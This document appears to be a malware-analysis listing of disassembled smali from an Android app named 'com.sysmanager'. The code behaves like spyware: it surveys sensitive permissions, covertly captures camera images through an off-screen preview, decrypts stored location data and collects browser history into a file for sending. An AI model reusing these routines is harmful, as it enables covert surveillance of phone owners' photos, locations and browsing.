180invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
181move-result-object v6
183invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setAddress(Ljava/lang/String;)V
185invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
186move-result-object v6
188const-string v7, "col11"
190invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
191move-result v7
193invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
194move-result-object v7
196invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
197move-result-object v6
199invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setCountryCode(Ljava/lang/String;)V
201invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
202move-result-object v6
204const-string v7, "col12"
206invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
207move-result v7
209invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
210move-result-object v7
212invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
213move-result-object v6
215invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setCountryName(Ljava/lang/String;)V
217invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
218move-result-object v6
220const-string v7, "col13"
222invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
223move-result v7
225invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
226move-result-object v7
228invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
229move-result-object v6
231invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setPostalCode(Ljava/lang/String;)V
233invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
234move-result-object v6
236const-string v7, "col14"
238invoke-interface {v0, v7}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
239move-result v7
241invoke-interface {v0, v7}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
242move-result-object v7
244invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->decryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
245move-result-object v6
247invoke-virtual {v3, v6}, Lcom/sysmanager/storage/PositionVar;->setRegione(Ljava/lang/String;)V
249invoke-virtual {v5, v3}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
250try_end_13d: goto/16 :goto_11
251catch_13f: move-exception v2
252try_start_140:
253invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
254move-result-object v6
256invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
257move-result-object v7
259invoke-static {v6, v7}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
260goto_14b: monitor-exit p0
261return-object v5
262try_start_14d:
263invoke-interface {v0}, Landroid/database/Cursor;->close()V
264try_end_150: goto/16 :goto_14b
265catchall_151: move-exception v6
266monitor-exit p0
267throw v6
Cross References
APIs
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
  • com.sysmanager.system.AndroidSystemCall.checkCallingOrSelfPermission
  • java.lang.String.valueOf
  • org.json.JSONObject.put
Strings
  • perm_write_external_storage
  • android.permission.WRITE_EXTERNAL_STORAGE
  • perm_read_contacts
  • android.permission.READ_CONTACTS
  • perm_camera
  • android.permission.CAMERA
  • perm_record_audio
  • android.permission.RECORD_AUDIO
  • perm_access_fine_location
  • android.permission.ACCESS_FINE_LOCATION
  • perm_access_coarse_location
  • android.permission.ACCESS_COARSE_LOCATION
  • perm_read_sms
  • android.permission.READ_SMS
  • perm_receive_sms
  • android.permission.RECEIVE_SMS
  • perm_read_phone_state
  • android.permission.READ_PHONE_STATE
  • perm_process_outgoing_calls
  • android.permission.PROCESS_OUTGOING_CALLS
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6const/4 v1, 0x1
7const/4 v2, 0x0
9iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
11const-string v4, "perm_write_external_storage"
13const-string v0, "android.permission.WRITE_EXTERNAL_STORAGE"
15invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
16move-result v0
17if-nez v0, :cond_ca
18move v0, v1
19goto_f:
20invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
21move-result-object v0
23invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
25iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
27const-string v4, "perm_read_contacts"
29const-string v0, "android.permission.READ_CONTACTS"
31invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
32move-result v0
33if-nez v0, :cond_cd
34move v0, v1
35goto_23:
36invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
37move-result-object v0
39invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
41iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
43const-string v4, "perm_camera"
45const-string v0, "android.permission.CAMERA"
47invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
48move-result v0
49if-nez v0, :cond_d0
50move v0, v1
51goto_37:
52invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
53move-result-object v0
55invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
57iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
59const-string v4, "perm_record_audio"
61const-string v0, "android.permission.RECORD_AUDIO"
63invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
64move-result v0
65if-nez v0, :cond_d3
66move v0, v1
67goto_4b:
68invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
69move-result-object v0
71invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
73iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
75const-string v4, "perm_access_fine_location"
77const-string v0, "android.permission.ACCESS_FINE_LOCATION"
79invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
80move-result v0
81if-nez v0, :cond_d6
82move v0, v1
83goto_5f:
84invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
85move-result-object v0
87invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
89iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
91const-string v4, "perm_access_coarse_location"
93const-string v0, "android.permission.ACCESS_COARSE_LOCATION"
95invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
96move-result v0
97if-nez v0, :cond_d8
98move v0, v1
99goto_73:
100invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
101move-result-object v0
103invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
105iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
107const-string v4, "perm_read_sms"
109const-string v0, "android.permission.READ_SMS"
111invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
112move-result v0
113if-nez v0, :cond_da
114move v0, v1
115goto_87:
116invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
117move-result-object v0
119invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
121iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
123const-string v4, "perm_receive_sms"
125const-string v0, "android.permission.RECEIVE_SMS"
127invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
128move-result v0
129if-nez v0, :cond_dc
130move v0, v1
131goto_9b:
132invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
133move-result-object v0
135invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
137iget-object v3, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
139const-string v4, "perm_read_phone_state"
141const-string v0, "android.permission.READ_PHONE_STATE"
143invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
144move-result v0
145if-nez v0, :cond_de
146move v0, v1
147goto_af:
148invoke-static {v0}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
149move-result-object v0
151invoke-virtual {v3, v4, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
153iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemCall;->mInfoTel:Lorg/json/JSONObject;
155const-string v3, "perm_process_outgoing_calls"
157const-string v4, "android.permission.PROCESS_OUTGOING_CALLS"
159invoke-virtual {p0, v4}, Lcom/sysmanager/system/AndroidSystemCall;->checkCallingOrSelfPermission(Ljava/lang/String;)I
160move-result v4
161if-nez v4, :cond_e0
162goto_c2:
163invoke-static {v1}, Ljava/lang/String;->valueOf(Z)Ljava/lang/String;
164move-result-object v1
166invoke-virtual {v0, v3, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
167return-void
168cond_ca: move v0, v2
169goto/16 :goto_f
170cond_cd: move v0, v2
171goto/16 :goto_23
172cond_d0: move v0, v2
173goto/16 :goto_37
174cond_d3: move v0, v2
175goto/16 :goto_4b
176cond_d6: move v0, v2
177goto/16 :goto_5f
178cond_d8: move v0, v2
179goto/16 :goto_73
180cond_da: move v0, v2
181goto/16 :goto_87
182cond_dc: move v0, v2
183goto/16 :goto_9b
184cond_de: move v0, v2
185goto/16 :goto_af
186cond_e0: move v1, v2
187goto/16 :goto_c2
Cross References
APIs
  • java.lang.String.equalsIgnoreCase
  • com.sysmanager.system.AndroidCamera.getFrontCameraId
  • com.sysmanager.system.AndroidCamera.getCameraInstance
  • android.hardware.Camera.getParameters
  • android.hardware.Camera$Parameters.getSupportedPictureSizes
  • java.util.List.get
  • java.util.List.size
  • java.util.List.get
  • android.hardware.Camera$Parameters.setPictureSize
  • android.graphics.SurfaceTexture.<init>
  • android.hardware.Camera.setErrorCallback
  • android.hardware.Camera.setPreviewTexture
  • android.hardware.Camera.setOneShotPreviewCallback
  • android.hardware.Camera.setParameters
  • android.hardware.Camera.startPreview
  • com.sysmanager.Scontext.getContext
  • com.sysmanager.system.AndroidCamera.releaseCam
  • java.lang.String.equalsIgnoreCase
  • com.sysmanager.system.AndroidCamera.getBackCameraId
  • com.sysmanager.system.AndroidCamera.getCameraInstance
  • android.hardware.Camera.getParameters
  • android.hardware.Camera$Parameters.getSupportedPictureSizes
  • java.util.List.get
  • java.util.List.size
  • java.util.List.get
  • android.hardware.Camera$Parameters.setPictureSize
  • android.hardware.Camera$Parameters.getSupportedFocusModes
  • java.util.List.contains
  • android.hardware.Camera$Parameters.setFocusMode
  • android.graphics.SurfaceTexture.<init>
  • android.hardware.Camera.setErrorCallback
  • android.hardware.Camera.setPreviewTexture
  • android.hardware.Camera.setOneShotPreviewCallback
  • android.hardware.Camera.setParameters
  • android.hardware.Camera.startPreview
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.system.AndroidCamera.releaseCam
Strings
  • front
  • rear
  • continuous-picture
Position Instruction Meta Information
0.param p1, "cameraPosition" # Ljava/lang/String;
1.prologue
2iget-boolean v7, p0, Lcom/sysmanager/system/AndroidCamera;->mLocked:Z
3if-eqz v7, :cond_5
4cond_4: return-void
5cond_5:
6const-string v7, "front"
8invoke-virtual {p1, v7}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
9move-result v7
10if-eqz v7, :cond_8b
12invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->getFrontCameraId()I
13move-result v0
15invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidCamera;->getCameraInstance(I)Z
16move-result v7
17if-eqz v7, :cond_4
18const/4 v7, 0x1
19try_start_18: iput-boolean v7, p0, Lcom/sysmanager/system/AndroidCamera;->mLocked:Z
21iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
23invoke-virtual {v7}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
24move-result-object v4
26invoke-virtual {v4}, Landroid/hardware/Camera$Parameters;->getSupportedPictureSizes()Ljava/util/List;
27move-result-object v6
28const/4 v7, 0x0
30invoke-interface {v6, v7}, Ljava/util/List;->get(I)Ljava/lang/Object;
31move-result-object v5
32check-cast v5, Landroid/hardware/Camera$Size;
33const/4 v3, 0x0
34goto_2c:
35invoke-interface {v6}, Ljava/util/List;->size()I
36move-result v7
37if-ge v3, v7, :cond_47
39invoke-interface {v6, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
40move-result-object v7
41check-cast v7, Landroid/hardware/Camera$Size;
42iget v7, v7, Landroid/hardware/Camera$Size;->width:I
43iget v8, v5, Landroid/hardware/Camera$Size;->width:I
44if-le v7, v8, :cond_44
46invoke-interface {v6, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
47move-result-object v5
48check-cast v5, Landroid/hardware/Camera$Size;
49cond_44: add-int/lit8 v3, v3, 0x1
50goto/16 :goto_2c
51cond_47: iget v7, v5, Landroid/hardware/Camera$Size;->width:I
52iget v8, v5, Landroid/hardware/Camera$Size;->height:I
54invoke-virtual {v4, v7, v8}, Landroid/hardware/Camera$Parameters;->setPictureSize(II)V
55new-instance v7, Landroid/graphics/SurfaceTexture;
56const/16 v8, 0xa
58invoke-direct {v7, v8}, Landroid/graphics/SurfaceTexture;-><init>(I)V
59iput-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
61iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
63iget-object v8, p0, Lcom/sysmanager/system/AndroidCamera;->mErrorCallback:Landroid/hardware/Camera$ErrorCallback;
65invoke-virtual {v7, v8}, Landroid/hardware/Camera;->setErrorCallback(Landroid/hardware/Camera$ErrorCallback;)V
67iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
69iget-object v8, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
71invoke-virtual {v7, v8}, Landroid/hardware/Camera;->setPreviewTexture(Landroid/graphics/SurfaceTexture;)V
73iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
74new-instance v8, Lcom/sysmanager/system/AndroidCamera$4;
76invoke-direct {v8, p0}, Lcom/sysmanager/system/AndroidCamera$4;-><init>(Lcom/sysmanager/system/AndroidCamera;)V
78invoke-virtual {v7, v8}, Landroid/hardware/Camera;->setOneShotPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
80iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
82invoke-virtual {v7, v4}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
84iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
86invoke-virtual {v7}, Landroid/hardware/Camera;->startPreview()V
87try_end_79: goto/16 :goto_4
88catch_7a: move-exception v1
90invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
91move-result-object v7
93invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
94move-result-object v8
96invoke-static {v7, v8}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
98invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
99goto/16 :goto_4
100cond_8b:
101const-string v7, "rear"
103invoke-virtual {p1, v7}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
104move-result v7
105if-eqz v7, :cond_4
107invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->getBackCameraId()I
108move-result v0
110invoke-virtual {p0, v0}, Lcom/sysmanager/system/AndroidCamera;->getCameraInstance(I)Z
111move-result v7
112if-eqz v7, :cond_4
113const/4 v7, 0x1
114try_start_9e: iput-boolean v7, p0, Lcom/sysmanager/system/AndroidCamera;->mLocked:Z
116iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
118invoke-virtual {v7}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
119move-result-object v4
121invoke-virtual {v4}, Landroid/hardware/Camera$Parameters;->getSupportedPictureSizes()Ljava/util/List;
122move-result-object v6
123const/4 v7, 0x0
125invoke-interface {v6, v7}, Ljava/util/List;->get(I)Ljava/lang/Object;
126move-result-object v5
127check-cast v5, Landroid/hardware/Camera$Size;
128const/4 v3, 0x0
129goto_b2:
130invoke-interface {v6}, Ljava/util/List;->size()I
131move-result v7
132if-ge v3, v7, :cond_cd
134invoke-interface {v6, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
135move-result-object v7
136check-cast v7, Landroid/hardware/Camera$Size;
137iget v7, v7, Landroid/hardware/Camera$Size;->width:I
138iget v8, v5, Landroid/hardware/Camera$Size;->width:I
139if-le v7, v8, :cond_ca
141invoke-interface {v6, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
142move-result-object v5
143check-cast v5, Landroid/hardware/Camera$Size;
144cond_ca: add-int/lit8 v3, v3, 0x1
145goto/16 :goto_b2
146cond_cd: iget v7, v5, Landroid/hardware/Camera$Size;->width:I
147iget v8, v5, Landroid/hardware/Camera$Size;->height:I
149invoke-virtual {v4, v7, v8}, Landroid/hardware/Camera$Parameters;->setPictureSize(II)V
151invoke-virtual {v4}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
152move-result-object v2
154const-string v7, "continuous-picture"
156invoke-interface {v2, v7}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
157move-result v7
158if-eqz v7, :cond_e5
160const-string v7, "continuous-picture"
162invoke-virtual {v4, v7}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
163cond_e5: new-instance v7, Landroid/graphics/SurfaceTexture;
164const/16 v8, 0xa
166invoke-direct {v7, v8}, Landroid/graphics/SurfaceTexture;-><init>(I)V
167iput-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
169iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
171iget-object v8, p0, Lcom/sysmanager/system/AndroidCamera;->mErrorCallback:Landroid/hardware/Camera$ErrorCallback;
173invoke-virtual {v7, v8}, Landroid/hardware/Camera;->setErrorCallback(Landroid/hardware/Camera$ErrorCallback;)V
175iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
177iget-object v8, p0, Lcom/sysmanager/system/AndroidCamera;->mSurfaceTexture:Landroid/graphics/SurfaceTexture;
179invoke-virtual {v7, v8}, Landroid/hardware/Camera;->setPreviewTexture(Landroid/graphics/SurfaceTexture;)V
181iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
182new-instance v8, Lcom/sysmanager/system/AndroidCamera$5;
184invoke-direct {v8, p0}, Lcom/sysmanager/system/AndroidCamera$5;-><init>(Lcom/sysmanager/system/AndroidCamera;)V
186invoke-virtual {v7, v8}, Landroid/hardware/Camera;->setOneShotPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
188iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
190invoke-virtual {v7, v4}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
192iget-object v7, p0, Lcom/sysmanager/system/AndroidCamera;->mCamera:Landroid/hardware/Camera;
194invoke-virtual {v7}, Landroid/hardware/Camera;->startPreview()V
195try_end_110: goto/16 :goto_4
196catch_112: move-exception v1
198invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
199move-result-object v7
201invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
202move-result-object v8
204invoke-static {v7, v8}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
206invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
207goto/16 :goto_4
Cross References
APIs
  • org.json.JSONArray.<init>
  • com.sysmanager.system.AndroidTouch.getApplicationContext
  • android.content.Context.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.isAfterLast
  • org.json.JSONObject.<init>
  • java.text.SimpleDateFormat.<init>
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • org.json.JSONObject.put
  • android.database.Cursor.getColumnIndex
  • java.lang.Integer.valueOf
  • java.text.SimpleDateFormat.format
  • org.json.JSONObject.put
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • org.json.JSONObject.put
  • org.json.JSONArray.put
  • android.database.Cursor.moveToNext
  • com.sysmanager.system.AndroidTouch.getApplicationContext
  • com.sysmanager.Scontext.getContext
  • android.database.Cursor.close
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidTouch.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.FileOutputStream.<init>
  • org.json.JSONArray.toString
  • java.lang.String.getBytes
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • com.sysmanager.system.AndroidTouch.InviaFileCronologia
  • com.sysmanager.system.AndroidTouch.getApplicationContext
Strings
  • title
  • url
  • date
  • bookmark = 0
  • yyyy-MM-dd HH:mm:ss
  • /cachel2/listahistory
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v8, Lorg/json/JSONArray;
3invoke-direct {v8}, Lorg/json/JSONArray;-><init>()V
4const/4 v0, 0x3
5new-array v2, v0, [Ljava/lang/String;
6const/4 v0, 0x0
8const-string v1, "title"
9aput-object v1, v2, v0
10const/4 v0, 0x1
12const-string v1, "url"
13aput-object v1, v2, v0
14const/4 v0, 0x2
16const-string v1, "date"
17aput-object v1, v2, v0
19const-string v3, "bookmark = 0"
21invoke-virtual {p0}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
22move-result-object v0
24invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
25move-result-object v0
27sget-object v1, Lcom/sysmanager/system/AndroidTouch;->BOOKMARKS_URI:Landroid/net/Uri;
28const/4 v4, 0x0
29const/4 v5, 0x0
31invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
32move-result-object v9
33if-eqz v9, :cond_89
35invoke-interface {v9}, Landroid/database/Cursor;->moveToFirst()Z
36move-result v0
37if-eqz v0, :cond_89
38goto_31:
39invoke-interface {v9}, Landroid/database/Cursor;->isAfterLast()Z
40try_end_34: move-result v0
41if-nez v0, :cond_97
42try_start_37: new-instance v11, Lorg/json/JSONObject;
44invoke-direct {v11}, Lorg/json/JSONObject;-><init>()V
45new-instance v6, Ljava/text/SimpleDateFormat;
47const-string v0, "yyyy-MM-dd HH:mm:ss"
49sget-object v1, Ljava/util/Locale;->ITALIAN:Ljava/util/Locale;
51invoke-direct {v6, v0, v1}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
53const-string v0, "title"
55const-string v1, "title"
57invoke-interface {v9, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
58move-result v1
60invoke-interface {v9, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
61move-result-object v1
63invoke-virtual {v11, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
65const-string v0, "date"
67const-string v1, "date"
69invoke-interface {v9, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
70move-result v1
72invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
73move-result-object v1
75invoke-virtual {v6, v1}, Ljava/text/SimpleDateFormat;->format(Ljava/lang/Object;)Ljava/lang/String;
76move-result-object v1
78invoke-virtual {v11, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
80const-string v0, "url"
82const-string v1, "url"
84invoke-interface {v9, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
85move-result v1
87invoke-interface {v9, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
88move-result-object v1
90invoke-virtual {v11, v0, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
92invoke-virtual {v8, v11}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
93goto_79:
94invoke-interface {v9}, Landroid/database/Cursor;->moveToNext()Z
95try_end_7c: goto/16 :goto_31
96catch_7d: move-exception v7
98invoke-virtual {p0}, Lcom/sysmanager/system/AndroidTouch;->getApplicationContext()Landroid/content/Context;
99move-result-object v0
101invoke-static {v7}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
102move-result-object v1
104invoke-static {v0, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
105goto_89: return-void
106catch_8a: move-exception v7
107try_start_8b:
108invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
109move-result-object v0
111invoke-static {v7}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
112move-result-object v1
114invoke-static {v0, v1}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
115goto/16 :goto_79
116cond_97:
117invoke-interface {v9}, Landroid/database/Cursor;->close()V
118try_start_9a: new-instance v0, Ljava/lang/StringBuilder;
120invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
122invoke-virtual {p0}, Lcom/sysmanager/system/AndroidTouch;->getFilesDir()Ljava/io/File;
123move-result-object v1
125invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
126move-result-object v0
128const-string v1, "/cachel2/listahistory"
